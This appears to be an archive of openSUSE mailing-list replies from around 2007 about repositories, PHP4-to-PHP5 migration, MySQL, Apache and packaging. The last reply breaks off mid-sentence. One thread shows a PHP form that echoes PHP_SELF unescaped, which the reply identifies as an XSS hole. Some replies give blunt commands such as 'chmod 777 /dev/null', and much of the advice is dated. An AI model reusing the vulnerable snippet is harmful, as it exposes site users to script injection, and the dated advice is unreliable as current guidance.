[opensuse] Re: 64bit gone sour, downgrade to 32bit, how?
[EMAIL PROTECTED] escribió: A long story to ask this simple question. I want to go back to 32 bit. How? Why you think that doing the non-sense of switching back to 32 bit will fix your problem ? -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [opensuse-factory] zypper and kde login
Rafal Kwasny escribió: Check permissions of /dev/null special file after reboot alt+f1, login, chmod 777 /dev/null should fix this you only need to update syslog-ng package to fix that. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] Audacity memory problems
Juan Erbes escribió: I could'nt use audacity because it crashes inmeditely. Executing it from konsole, I got: ***MEMORY-WARNING***: [5906]: GSlice: g_thread_init() must be called before all other GLib functions; memory corruption due to late invocation of g_thread_init() has been detected; this program is likely to crash, leak or unexpectedly abort soon... JACK tmpdir identified as [/dev/shm] The package is audacity-1.3.3-15.i586.rpm. there is already a bug report about this it seems https://bugzilla.novell.com/show_bug.cgi?id=294693 signature.asc Description: OpenPGP digital signature
[opensuse] Re: simple firewall scripts
Wolfgang Rosenauer escribió: I plan to look at shorewall yeah, give it a try, you wont regret ;-) -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[opensuse] Re: Suse 10.0, Apache 2.2, mod_php
Christoph Kaulich escribió: Hello, I want to upgrade my Suse 10.0 server with the apache packages from http://download.opensuse.org/repositories/Apache/SUSE_Linux_10.0/i586/ but I do not find the related mod_php packages. If I use http://download.opensuse.org/repositories/server:/php/SUSE_Linux_10.0/i586/ I get error: Failed dependencies: apache_mmn_20020903 is needed by apache2-mod_php5-5.2.3-38.1 from rpm. Can someone point in the right direction? Yes, you are using the wrong repositories for PHP and then this error is the expected behaviuor. you should use http://download.opensuse.org/repositories/server:/php/server_apache_SuSE_Linux_10.0/ instead. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[opensuse] Re: Suse 10.0, Apache 2.2, mod_php
Christoph Kaulich escribió: Hello, that was working, thanks a lot. Can soemoen tell me, where I find the matching subversion packages? I believe http://download.opensuse.org/repositories/Subversion/Apache_SuSE_Linux_10.0/i586/ That is the correct repository. should work. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[opensuse] Re: global_variable of the apache2 dissapears since SuSE10.2?
David Bolt escribió: However, I've learnt something new today and, that PHP does have global variables. As I suspected, there is a performance issue with having them enabled, and there's also a possible security issue, which hadn't occurred to me. This is the most infamous and dangerous PHP feature and should not be used, it is disabled by default since PHP 4.2.0 and nowdays does not exists anymore (removed in PHP6 which is under development) -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [opensuse-factory] Factory update breaks the system (resmgr problem)
Silviu Marin-Caea escribió: I have just performed an update to latest factory, and there must be something broken with resmgr. /dev/null is not accessible by my user, I get /dev/null permission denied when I log in the console, and KDE does not start at all. I have stopped the resmgr service and then chmod a+rw /dev/null, to be able to use KDE. I'll file a bug. Reproduced here as well. signature.asc Description: OpenPGP digital signature
[opensuse] Re: Online update error?
Hylton Conacher (ZR1HPC) escribió: Whats happening and why? ftp.suse.com is always busy, choose a different mirror skynet.be is reliable and fast. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [opensuse] Re: upgrading Apache (Suse 10.0) help.
James D. Parra escribió: After poking around a bit more, I see that mod_jk_ap20 (tomcat5) is for Apache 2.0. Is there a repository for Tomcat and a mod_jk module for Apache 2.2? add this repository to yast/smart http://software.opensuse.org/download/Apache:/Modules/Apache_SuSE_Linux_10.0 update mod_jk. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [opensuse-factory] when to refresh?
Duncan Mac-Vicar Prett escribió: for the search, you need cache, for the cache you need metadata. Should ZYpper exit and tell the user to refresh, or should it ask the user whether to refresh without exiting? hrmmm.. I think neither of those.. why ask if it knows that a refresh is needed ? zypper search foobar shlould IMHO automatically refresh if **and only if** there is no metadata,and hence no cache. In the case of YaST, should it download and refresh when adding the repos in inst_source, or should it do it during startup of the package selector? During the startup of the package selector, the user may just want to add a source to install packages later. ;) signature.asc Description: OpenPGP digital signature
[opensuse] Re: Self initiated HTTP messages to www.kde.org
Registration Account escribió: MY IPS system has been warning me of regular - time initiated http messages to www.kde.org. These messages are auto sent 24/7 even by idle Workstations. I cannot test a gnome desktop, however I think they may not be auto sent. http://users.tpg.com.au/adslmi38/linux/kde04_Jul_17_2007_14_36_32.pdf Does anyone know 1. Their purpose See the source code in case of paranoia. (http://websvn.kde.org/) 2. What is in the self initiated http traffic. Probably one of the dozens of KDE apps you are using is trying to get a sort of update, most likely RSS feeds, KDE is fully integrated with the network Use a sniffer if you want to see what is contained in the HTTP request. Systems talks each other always. firefox talks google, mozilla.org and probably to other places as well, nothing to worry about. P.S Please refrain from using the expression digital Rights Messages WTH are you talking about. ? geez.. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[opensuse] Re: MySQL encryption agent
Stuart Murray-Smith escribió:
Greetings list
openSuSe 10.2
MySQL 5.0.26
How can I establish what the standard encryption agent(s) is (are) for
MySQL?
SELECT ENCRYPT('password'), PASSWORD('password'), MD5('password');
generates a different encrypted password to what:
you are seriuolsy confused, this is the expected behaviuor.
ENCRYPT calls crypt() system call
PASSWORD is mysql specific way to encrypt password suitable for
encrypting MySQL passwords for storage in the Password column of the
user grant table. ( do not use this in your app)
MD5 quite obviuoly uses MD5
if you are coming from older mysql versions, and you used PASSWORD() to
encrypt your passwords in newver mysql versions you must use
OLD_PASSWORD() to obtain the same old result. this function is
deprecated and I suggets you convert your passwords (with the password
reminder form) ASAP because it may go away at anytime soon.
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[opensuse] Re: upgrading Apache (Suse 10.0)
James D. Parra escribió: # rcapache2 status Checking for httpd2: unused testserver:~ # rcapache2 start Starting httpd2 (prefork) (98)Address already in use: make_sock: could not bind to address [::]:80 (98)Address already in use: make_sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down Unable to open logs startproc: exit status of parent of /usr/sbin/httpd2-prefork: 1 failed You probably got a zombie apache process.. use killall -9 apache2-prefork ( use with caution) and try to start apache again. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[opensuse] Re: upgrading Apache (Suse 10.0)
James D. Parra escribió: Not exactly what you want, but there is apache repository here: http://software.opensuse.org/download/Apache/ It contains 2.2.x, not 2.0.x though. ~ Thank you Sunny. Since I'll be upgrading a production server using the older version of Apache, will the upgrade 'break' anything, for example SSL, PHP5, the Apache modules, and will it work the config files, especially the virtual host files? With this big version difference, I'd hate to break something. Many thanks for your help, ~James james: In order to avoid breaking stuff you should do the following. add this repositories: http://software.opensuse.org/download/Apache/SUSE_Linux_10.0/ http://software.opensuse.org/download/server:/php/server_apache_SuSE_Linux_10.0/ the remove your old PHP installation **completely** ( in case you are using the version included in 10.0 of course) then reinstall apache2-mod_php5 apache2-prefork, the needed PHP modules... ( you may need to upgrade more stuff depending what other software in your system uses libapr* ) and no, you will not break virtual host configuration as it is backward compatible. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [opensuse-packaging] Packages for sale
Dirk Mueller escribió: Hi, first come first serve what's the rationale behing the sale ? /me does not get it :? signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] opensuse-updater: Check for any kind updates option?
Benji Weber escribió: Smart handles this quite badly, it just blindly upgrades to newer versioned packages regardless of the vendor/repository. Yup, smart is no model of good behaviuor in this case...and better not to talk about the mess it produces in 64 bit systems..;-) signature.asc Description: OpenPGP digital signature
[opensuse] Re: Implementation of Private Secure Mail Server Mailing Lists' Manager
Alex Daniloff escribió: You're missing this point: 4. When the Mail Server receives a message encrypted with subscriber's private key, it decrypts it using existing subscriber's private key stored in SQL database. Then the Mail Server encrypts this message with the Mailing List public encryption key and distributes it to all other Mailing List subscribers. If someone else finds a mailing list server that do this, do not use it :-) this would be: 1. highly innecifient and resource hungry 2. insecure as hell, I reccommend you to RTFM :) especially the GPG related documentation, that **clearly** warns on this approach 's insecurity. You are tying to solve a non-technical problem with encryption and your requirements are so ill conceived (storing private keys in a database is the part that smells fishy enough to discard your idea) that I suggest you either talk to your lawyer about privacy and confidentility rules of your business and/or think your requirements better, what you are trying to do is plain wrong.. and having wrong security is worse than no security at all. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [opensuse-factory] call trace on opensuse10.3alpha5
Mohammed Omar escribió: Linux linux-0gxvrp 2.6.22-rc4-git3-2-ppc64 #1 SMP 2007/06/12 15:00:04 UTC ppc64 ppc64 ppc64 GNU/Linux machine type: p520(power 5) Whether any bug in the kernel ? Please open a bug report ..thta definately looks like a bug ;) signature.asc Description: OpenPGP digital signature
[opensuse] Re: zlib, OpenSUSE 10.0 and threads.
Roger Oberholtzer escribió: Is the zlib package as supplied with openSUSE 10.0 thread-safe? http://www.zlib.net/zlib_faq.html#faq21 -- sames applies here. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[opensuse] Re: Update of VMware ?
Erik Jakobsen escribió: Hi. When I want to upgrade VMware on my opensuse 10.2, i get the following: rpm -Uvh VMware-workstation-5.5.4-44386.i386.rpm error: can't create transaction lock on /var/lib/rpm/__db.000 How do I continue from here ? you need to be root to perform that operation ;) -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [opensuse-packaging] Call for testing
Stephan Hermann escribió: Good Morning, I packaged nexuiz for opensuse 10.2/openSuSE:Factory...and I'm calling for testers for these packages. Coming from the debian side of life, I used the debian sources for packaging, with the difference, that the source package isn't divided into two source packages but one. The nexuiz version is the latest stable release and it works for me (tm) ;) Have fun testing it...if you have any problems, please send me bugreports to the mentioned communication channels in my .sig. Thx for your help, \sh This game is already packaged by uli AT suse DOT de, so you can probably contact him and join forces ;-) signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] Re: How can we integrate OpenVZ into openSUSE ?
Alexey Eremenko escribió: I believe SUSE should not be limited by Xen-only approach. and I believe openSUSE should do one thing, and do it right, not many half working virtualization alternatives. signature.asc Description: OpenPGP digital signature
[opensuse] Re: Cyrus-IMAP and MySQL support
Stuart Murray-Smith escribió: Greetings list SuSE 10.2 Could someone please tell me if the Cyrus-IMAP RPM (cyrus-imapd-2.2.13-24.2.rpm) is built with SQL (particularly MySQL) support? nope. it does not have mysql support. If not, could someone please let me know how to do so :-) Use dovecot (reccommended, and it has mysql support builtin) :P or rebuild cyrus with mysql support ( see the documentation http://asg.web.cmu.edu/cyrus/imapd/ ) signature.asc Description: OpenPGP digital signature
[opensuse] Re: Cannot Create PHP5-5.5.2 RPMs on SuSE 10.0
Peter A. Barry escribió: Hello, I am attempting to build the php5-5.5.2 RPMs on a SuSE 10.0 system so that I can update multiple systems. You dont need to, they are already available for you ( we take care of that as well ;) ) instructions: add this repository to yast/smart http://software.opensuse.org/download/server:/php/SUSE_Linux_10.0/ remove all all PHP5 packages (including mod_php !! ) and install the packages from the above mentioned repository. note that that repostiry is intented to work with the apache and mysql versions shipped with 10.0 only. if you want to update mysql and/or apache you need to use a different repo. signature.asc Description: OpenPGP digital signature
Re: [opensuse-packaging] libbz2 has been renamed to libbz2-1
Cristian Rodriguez R. escribió: Richard Guenther escribió: Note that this particular case (libbz2) was forced only because libbz2 was introduced for 10.3 only Yes, and package managers are still unable to handle this split properly, effectiely trashing RPM. I'll try again ... later ;). The bug report is still open IIRC though. signature.asc Description: OpenPGP digital signature
Re: [opensuse-packaging] libbz2 has been renamed to libbz2-1
Richard Guenther escribió: Note that this particular case (libbz2) was forced only because libbz2 was introduced for 10.3 only Yes, and package managers are still unable to handle this split properly, effectiely trashing RPM. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] 10.3 A4 and libiconv
Donn Washburn escribió: Has anyone found a usable version of libiconv that works with gcc (GCC) 4.1.3 20070430 (prerelease) (SUSE Linux) . It is not on the CDs. It is needed by AmArok and since SuSE's version is boken I was going build my own working version of 1.4.5 huh ? iconv library is included with glibc signature.asc Description: OpenPGP digital signature
[opensuse] Re: mysql will not start after php upgrade
Michal Marek escribió: Patrick Shanahan wrote: ok, 1. reinstalled mysql from server:database repo rpm -Uvh --replacepkgs ./mysql-5.0.41-4.1.x86_64.rpm 2. reinstalled php5 from server:/php/SUSE_Linux_10.1/x86_64/ rpm -Uvh --replacepkgs ./php5-5.2.2-49.1.x86_64.rpm 3. installed mysql-shared-5.0.18-16 had newer version which apparently was dropped? Please do *not* mix different versions. Use only the 5.0.41 packages from the buildservice repository and post the results here. 4. installed libmysqlclient15-5.0.41.-4.1 required by (3), BUT provides overlapping files ??? No, this is a replacement for the old mysql-shared package. Still might not work. as PHP does not want to build against server:database_10.1 this is the error now. installing libmysqlclient15-5.0.41-4.1 file /usr/lib/libmysqlclient.so.15.0.0 from install of libmysqlclient15-5.0.41-4.1 conflicts with file from package mysql-shared-5.0.18-16 file /usr/lib/mysql/libmysqlclient.so.15 from install of libmysqlclient15-5.0.41-4.1 conflicts with file from package mysql-shared-5.0.18-16 Patrick : you need mysql from the server:database repository and PHP from **only** this repo http://software.opensuse.org/download/server:/php/server_database_SUSE_Linux_10.1 if RPMs are not there that means it is broken and you need to wait for them to be ready to use. do not mix stuff, as that way you will only shoot yourself in the foot. signature.asc Description: OpenPGP digital signature
[opensuse] Re: mysql will not start after php upgrade
Michal Marek escribió: Patrick Shanahan wrote: openSUSE 10.1 x86_64 updated mysql yesterday to mysql-5.0.41-4.1 From server:database buildservice project, right? if so, it may not work :( there are multiple providers of libmysqlclient.so.15 in server:database and PHP is NOT building against it because the buildservice aborts on multiple choices... :( have choice for libmysqlclient.so.15 needed by mysql-client: mysql-beta-shared libmysqlclient15, have choice for libmysqlclient.so.15(libmysqlclient_15) needed by mysql-client: mysql-beta-shared libmysqlclient15 for this to work the user should: 1. install mysql from the server:database repo 2. install php5 from the server:php repository target server_database_SUSE_Linux_10.1[1] which does not build because the error above :-( [1]http://software.opensuse.org/download/server:/php/server_database_SUSE_Linux_10.1 /me has no idea how to force a prefer for a particular target as there is no FM ( a case of WITFM ;) ) signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] php5-pear-db-1.7.6-75 in 10.3a4
On Fri, 25 May 2007, Marcus Meissner wrote: I guess the latter. Please open a bugreport. :) We did noticed it :) it is needed by squirelmail ( as I told the to reporter ;) ) however maybe squirelmail can use MDB2 instead.. have to check that. but not before 2 week break/vacation of this geek. ;) signature.asc Description: OpenPGP digital signature
Re: [opensuse-packaging] OpenSUSE base system package list
Richard Guenther escribió: coreutils being the biggest offender (7.8MB installed size) followed by glibc (4MB), ncurses (3.4MB) and bash (2.7MB). I indeed agree that having a nice and very minimal pattern is a good thing to deploy servers, however this new base system uses less disk space in MB than the RAM required to run the distribution installer... is there any work being done to reduce the memory footprint of the installer ( other than speeding up the package manager stuff that is the main cause of slowness ..) ??? Also the installer may **feel** faster if network installation were threaded, nowdays it dowloads package -- install package without trying to download the next package while installing..(Im not claiming that this will be less resource hungry though.. but an **option** do do this will be nice ;) ) signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] PHP - tales from the crypt
Andreas Jaeger escribió: I think we have php4 in the Build Service. Is that correct? yes, mmarek mantains it and I may move/add an updated version there , although is not a priority Wouldn't that solve the problems - give Stephan a php4 that works with openSUSE 10.2 and us not needing to maintain a dead version? Exaclty, that actually solves his problem. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] PHP - tales from the crypt
Stephan von Krawczynski escribió: And the reason I am forwarding this as a last point to aj is that I am deeply concerned about the ongoings. Whenever I experienced situations like this they did not survive. With situations like this I explicitely mean people not listening and acting like being Jesus in terms of knowing everything or most of it and therefore stopped questioning their own work. And this is caused by the fact that this list sometimes have people like you that : 1. have a problem. 2. Do not describe the exact problem and asks meta questions. 3. want to rant and blame others for their own problems. 4. does not want to move their asses to contribute a solution for the problem, instead they want other people to fix the problem for them. 5. resist to understand that distributions needs to move on in every aspect. and that usually means that legacy software should be removed. 6. they fail to figure the rest of the world is doing the same thing and what is really wrong is their own stuff. I listened to Cristian saying that he will for sure remove all PHP4 stuff around beginning next year. Sorry to say that, but he hasn't even understood the basics of the whole community which is that you do not delete already done work, In the same pharagraph you talked about Ubuntu, well Ubuntu has already deleted PHP4 from their repositories and was unsupported in the last **3 releases**, so your argumentation is bogus, also is not about deleting already done work. is a about wasting countless hours of my/our time mantaining a dying beast. signature.asc Description: OpenPGP digital signature
[opensuse] Re: Why are Novell guys closing perfectly valid bugs as WONTFIX due to their laziness ?
hi all ! Why are Novell guys closing perfectly valid bugs as WONTFIX ? Your bug can be perfectly valid, but is a minor issue that will dissapear soon. They should stop being lazy all the day. That is not a feature-request but a bug. The lazy number one is: marcio ferreira and Stefan Hundhammer link: https://bugzilla.novell.com/show_bug.cgi?id=264716 Bugzilla flooding annoys people, again, please make a reasonable use of it, developer time is a limited resource and there are a lot of more important things fix or do ( just look at the 10.3 roadmap to have an idea) signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] PHP - tales from the crypt
Stephan von Krawczynski escribió: Really, Cristian, stop it. No. you should stop acting like kid that mom denied a caramel. if you have a problem, fix it. if you are having incompatible scripts is your problem, not mine. in most cases you did something wrong in your test migration.. the most common faliures are.. 1. apps that depends on long arrays HTTP_SERVER_VARS et all. in that case set register_long_arrays to On in php.ini that will solve the problem. 2. apps that depends on register globals, in that case apps should be either upgraded or you can activete register_globals per directory basis with php_flag register_globals On 3. most PHP4 apps are not heavily object oriented, but a common problem you will find is code that no longer runs because you cannot reasign $this, if you have code that do this. it is wrong, . $this is a reserved special variable, and you cannot reasign $this because in PHP5 objects are no longer mutable, although $this **can** be reasigned in PHP4, is an undocumented feature that does **not** really work as you expect.(aka. black magic) 4. some array functions only accept arguments of type array , and passing other kind of types witll cause either a warning or a fatal error, the fix is as simple as type casting the value to array 5. you may see Fatal error: Nesting level too deep - recursive dependency?” , if so, is almost sure the code has some kind of undetected infinite recursive dependency, all old PHP versions either detect it and return after a while, but can possible misbehave or crash, current PHP versions emits this proper error message, this is better explained here http://www.bigroom.co.uk/blog/php-nesting-level-too-deep-recursive-dependency/ there are other things too. signature.asc Description: OpenPGP digital signature
Re: [opensuse-packaging] Should we evaluate Zimbra ? - a next-gen Mail Server
Peter Czanik escribió: So, practically it can be installed over a base installation of openSUSE and needs a dedicated (virtual) machine. While I'm not sure, if this is something to be bundled with openSUSE, it would be great, if it could be ported to 10.2 or factory (when tested, only SuSE 10.0 was supported). [sorry to the people that will recieve this message in two lists, rantthe annoying,non-sense behaviuor of the reply-to stuff on this lists are very error prone and I submitted this post to the wrong list/rant] I have looked into this too in the past, however I concluded that integration requires a fairly large amount of work, unfortuantely this guys does not realize that distributions already has many of that components and insist on consistent, annoying and non-sense wheel reinvention. *sigh*. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] PHP - tales from the crypt
jdd escribió: just a question: is SLES/SLED in the same situation?could be a reasonable solution if php4 is maintained in SLES It is only mantained in SLES 8 and 9, SLES10 does not include PHP4. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] I can't update from factory today
Adrian Schröter escribió: Hard to say ... what kind of errors do you see ? the error is obviuos ;) there is no yum metadata in factory mirrors.. the repodata directory disappeared... signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] PHP - tales from the crypt
Sylvester Lykkehus escribió: Really ? I always thought open_basedir was a part of safemode. both are different things. Safe Mode was removed in PHP 6.0.0. warning sign. yes, it is already removed, in fact was one of the first prioritary things to in PHP6 (and the other was removing the infamous register_globals thingy.) signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] PHP - tales from the crypt
Stephan von Krawczynski escribió: I am in no way interested in PHPversionwhatever. I am _only_ interested in setting up an environment for _users_ that do what users do. If they need some (php) application, they google until they reach a download link, click on it and expect the webservice (and thats my part) to run with whatever they downloaded. Most of those the click and download apps already works with PHP5. So it is _not dead_. yes it is, more or less. Why vote for removing something this discussin came up during 10.1 development, so you are late. ;P that is widespread, works for people and is maintained? Our mission is to deliver a working system, that is manageable and does not cost gazillions of hours to developers.. developer time is a **limited** resource. using the same rationale..let's include 2 GNOMEs. 2apache versions.. Python 2.2 , 2,3 2.4 and 2.5 just for the apps that does not run in python 2.5... or well.. 3/4 GCC versions so people can compile broken code that does compile with GCC 4... that less than 5% of the php-scripts running on our servers work with PHP5. Your numbers are wrong, most should work. you are doing something wrong in your configuration then, I have worked in real life,commercial, large PHP4-PHP5 migrations and Im sure that is wrong. 3) I am not really interested in what redhat or ubuntu do, It matters in this particular situation what others have done..too se how others are managing certain parts of their **products** (even corporate distros are following the same approach..) if I were I would probably use them. If opensuse only does what the others do, why does it exist then? Shouldn't it be _better_, more _comfortable_ or cover a bigger market ? You are not understanding. this is about product managment, we cannot offer support for 2 years for a software that is actually having very small manteniance, with only critical or secuirty bugs fixed (and takes months to get a fixed version) and that will be officially abandoned ina few months. then people like you will post rants how bad is the mantainance or bugs not getting fixed.. (not to mention that PHP4 does not work correctly on 64 bit systems either and you will find countless strange issues..) 4) Really, nobody expects here that you maintain a PHP4 package forever. The last official release for both PHP4 and 5 date 03. May 2007 which is 6 days back. yes and is very likley to be **one** of the final releases... Sometimes software business is really odd. Yes it is, and unfortunately you have to deal with it. FYI, im thinking about providing a better but stripped down PHP4 package in the server:php repository but it will be removed from the repository the same day it's official EOL is announced (expected on the first days of 2008 or so), keep in mind that I will not fix stuff on it, and will only add secuirty fixes from time to time (very low priority), in any case dont expect that to happend soon ;) signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] PHP - tales from the crypt
Stephan von Krawczynski escribió: Dear all, please let me draw your attention to some problems with and around PHP. 10.2 delivers only PHP5 on the isos. Exaclty and will stay that way.. PHP4 upstream supports end on Dec 31 , 2007. it is EOL. One might think that this is completely sufficient as PHP5 is thought to be mostly compatible to PHP4 and earlier. There is no such thing. The reason I'd like to share this dead-end experience with you is to revive PHP4 in 10.3, at least. See above. I found PHP4 for 10.2 on software.opensuse.org, which is great - and brings up a much bigger problem. The PHP people unfortunately managed to screw things up. It seems impossible at this time to install both PHP4 and PHP5 as modules in apache 2. Dont, use fastcgi, you cannot run both 2 mod_php in the current setup. Of course one might say so what, use cgi interface instead!, but unfortunately that tilts even the basic security configured with open_basedir. The whole thing is quite a mess... You secuirty relies on open_basedir ? wow, then you have a problem, open_basedir is just a layer of security, you should not realy on it as your only one.. Anyone here experienced in this field? Yes, Im pretty experienced. I mantain the whole server:php:* namespace, and Im sorry to tell you, you will need to upgrade now, or by the end of the year, the PHP4 packages in the buildservice will be retired on Nov 2007. ( if you want to compare.. Fedora repositories does not have PHP4 since Fedora 5, Ubuntu recently **removed** PHP4 from all their repos(in newer versiosn) RHEL5 /SLES10 does not support it either.. for your own good is time to move.. trust me I know perfectly what Im talking about. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] PHP - tales from the crypt
Stephan von Krawczynski escribió: Ok. that brings us to the fundamental question what a distribution is really for. We are using linux for about 10 years now. Very early we decided to switch to the SuSE distribution because it contained all parts necessary for setting up internet hosts. So you say: PHP4 is widely used (meaning a lot of people need it in production) but you don't want to include it in the latest distro. I have not been clear ? PHP4 is reaching End of life.. including PHP4 again into the distribution will be a big mistake and a really bad product managment descision. how you expect we will support it for the next two years ? On the topic of running both PHP4 and PHP5 as modules for apache, the only other option than CGI which comes to my mind, would be 2 instances of apache running, one with one version of PHP and mod_proxy, and one running the other version of PHP. huh ? what the hell are you talking about ?? There was no real good reason why 5 was not made standalone as a separate module to live beside PHP4. But now this horse is dead and a lot of people have to hit it, because some didn't think twice. your rationale is plain wrong as it is based in the wrong assumption that mod_php is the only way holy way to do things.. ( you should not really run mod_php in a shared hosting enviroment..) Which basically means you will be driven to compile it yourself with 10.3, too. Really, where is your argument? no you can always install php4-fastcgi from the buildservice ( till it is retired of course) And 5 will end up as the next dead horse? Again no thoughts about the real world where things (read different versions) have to co-exist? the can perfectly coexist, I run PHP5, PHP6 and in some disgusting circustances PHP4 too in the same webserver at the same time with 0 (zero) problems. I wish people could focus more on the heart of the matters. If you create something new, how does that force you to throw away everything older but still useful? It does not, plain and simple. You dont need to throw all old software, just upgrade it, and if it propietary, well.. get support for it, that's why you are paying for it..as I tld you before the average PHP4 app will work with litle or no changes (unless you dont know what are you doing, and that is not a PHP problem.) Currently mostly all big/massive php apps are PHP5 compatible, there is no reason to stay with PHP4 at all. now.. again. if you have an specific situation, tell me, I can help , meta-questions often get meta-answers. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] PHP - tales from the crypt
Stephan von Krawczynski escribió: ed. And 5 will end up as the next dead horse? Probably, but is not time to worry about that, maybe in about 5 years or so.. dunno, but now **is** time to worry for PHP4 as it is going away this year.. software has a lifecycle and in 5 or 6 years your investment is already recovered and you can devote new resources into updating your applications, this happends all the time, and not only with PHP...( but is more notorius with PHP due to it's popularity) I would **love** to hear how we, openSUSE, can help you in the migration without intruducing PHP4 again.. do you need more documentation ? howto? is the online PHP documention not enough to do so ..I mean.. geez.. the changes are not **that** many...I have asked this very same question to many people and I never got a proper answer.. so I suspect people just want to use obsolete stuff till the end of time and cause unnecesarry workload on package mantainers.. You can also google for the redhat or ubuntu rationale about removing PHP4 from their distros and you will find it is pretty similar.. so no need to elaborate more. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] ntfs-3g.
Greg KH escribió: If it is in the main kernel.org tree, yes. greg.. did you actually read the page !? it is a userspace driver!! it cannot be in the kernel because is not a kernel module ;-P signature.asc Description: OpenPGP digital signature
Re: [opensuse] where is proftp on Suse 10.0?
James D. Parra escribió: Hello, I am trying to find proftpd rpm on the DVD, but it isn't show up in yast. Where can I get it? You are certainly looking for proftpd or vsftpd instead. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Why is package libpcap 0.94 contains library 0.93 !?!
Alexey Eremenko escribió: What interests me is that third-party software refuses to run due to bug in openSUSE. Please, stop flooding bugzilla with this kind of stuff.. this is a really minor problem ..indeed, the library SONAME is outdated (maybe on purpose, to avoid break applications linked to that version), however this is no problem to properly compiled software, even more when software has source code available. just to prove you are wrong, I created in 15 minutes, a package of the mentioned dynamips software you can (or will be able to) find it here: http://software.opensuse.org/download/home:/elvigia/openSUSE_10.2/ Third party binaries are not an openSUSE problem. Alexey, I see you have a lot of energy and time to do something for openSUSE, try to focus your energy better,in productive, useful things rather than in this and other pointless stuff..it just makes people to waste their time. signature.asc Description: OpenPGP digital signature
Re: [opensuse] PHP Question
John D Lamb escribió: On Fri, 2007-04-27 at 17:26 -0400, Cristian Rodriguez R. wrote: John D Lamb escribió: form method=post action=?php echo $SEVER['PHP_SELF']; ? Sure,and then you get a free security hole. Oops. I should have copied this instead of assuming I wouldn't make two errors in a single line of code. Dont worry too much, this specific bug is present in a lot of applications, even in a well known PHP security guide that is widely used as a good programming reference..see my blog post http://blog.flyspray.org/archives/7-Amusing-security-hole-in-Shifletts-security-guide.html signature.asc Description: OpenPGP digital signature
Re: [opensuse] Re: Does openSUSE support Metisse 3D Desktop ?
Alexey Eremenko escribió: Is there any more documentation available on that topic ? Is this going to be integrated into openSUSE, as it is in Mandriva ? Hopefully no, if there is any time investment on this eye candy stuff..I would like to see efforts over integrating Beryl/Compiz better. Alexey, We need to focus on **one** of the viable alternatives, and do it **right**, instead having ten broken/half working alternatives. signature.asc Description: OpenPGP digital signature
Re: [opensuse] strange file under /dev
russbucket escribió: Does anyone know what the following dev is under /dev. rkhunter says its questionable. brw--- 1 rootroot 22,0 2007-04-26 16:44 .tmp-22-0 Thanks for any info. http://www.nabble.com/Re:--opensuse-security--Security-report-from-rkhunter-on-default-install-of-openSUSE-10.2-p8109243.html signature.asc Description: OpenPGP digital signature
Re: [opensuse] PHP Question
John D Lamb escribió: form method=post action=?php echo $SEVER['PHP_SELF']; ? Sure,and then you get a free security hole. it should say. form method=post action=?php echo $_SERVER['SCRIPT_NAME']; ? or in case you **really** want to use PHP_SELF form method=post action=?php echo htmlspecialchars($_SERVER['PHP_SELF']); ? signature.asc Description: OpenPGP digital signature
Re: [opensuse] PHP Question
Randall R Schulz escribió: On Friday 27 April 2007 14:26, Cristian Rodriguez R. wrote: John D Lamb escribió: form method=post action=?php echo $SEVER['PHP_SELF']; ? Sure,and then you get a free security hole. it should say. form method=post action=?php echo $_SERVER['SCRIPT_NAME']; ? or in case you **really** want to use PHP_SELF form method=post action=?php echo htmlspecialchars($_SERVER['PHP_SELF']); ? If that's true, then anyone could just grab the HTML, change the SCRIPT_NAME back to PHP_SELF, huh ? PHP is interpreted on the server .. they will not be able to change what code is executed in the server. however in this case there is an XSS hole if you use PHP_SELF without sanitization. see an practical example http://blog.phpdoc.info/archives/13-XSS-Woes.html signature.asc Description: OpenPGP digital signature
Re: [opensuse] PHP Question
Randall R Schulz escribió: In essence you're accepting fragments of PHP code from the client nope. Im accepting a value of type string, that in this particular case can be used to execute malicouos code **in the client side**. You are mixing apples with pears, Sql Injection is one thing and XSS is other quite different but caused by the same problem, bad user input validation/escaping/whatever. ( not a PHP problem, btw) signature.asc Description: OpenPGP digital signature
Re: [opensuse] PHP Question
Randall R Schulz escribió:
You've got to clarify this. I see an HTML form that submits PHP code.
no, the html form does not submit PHP code, what you are seeing **is**
PHP code mixed with html, that is interpreted on the server.
form method=post action=?php echo $SEVER['PHP_SELF']; ?
will be displayed to the user browser as:
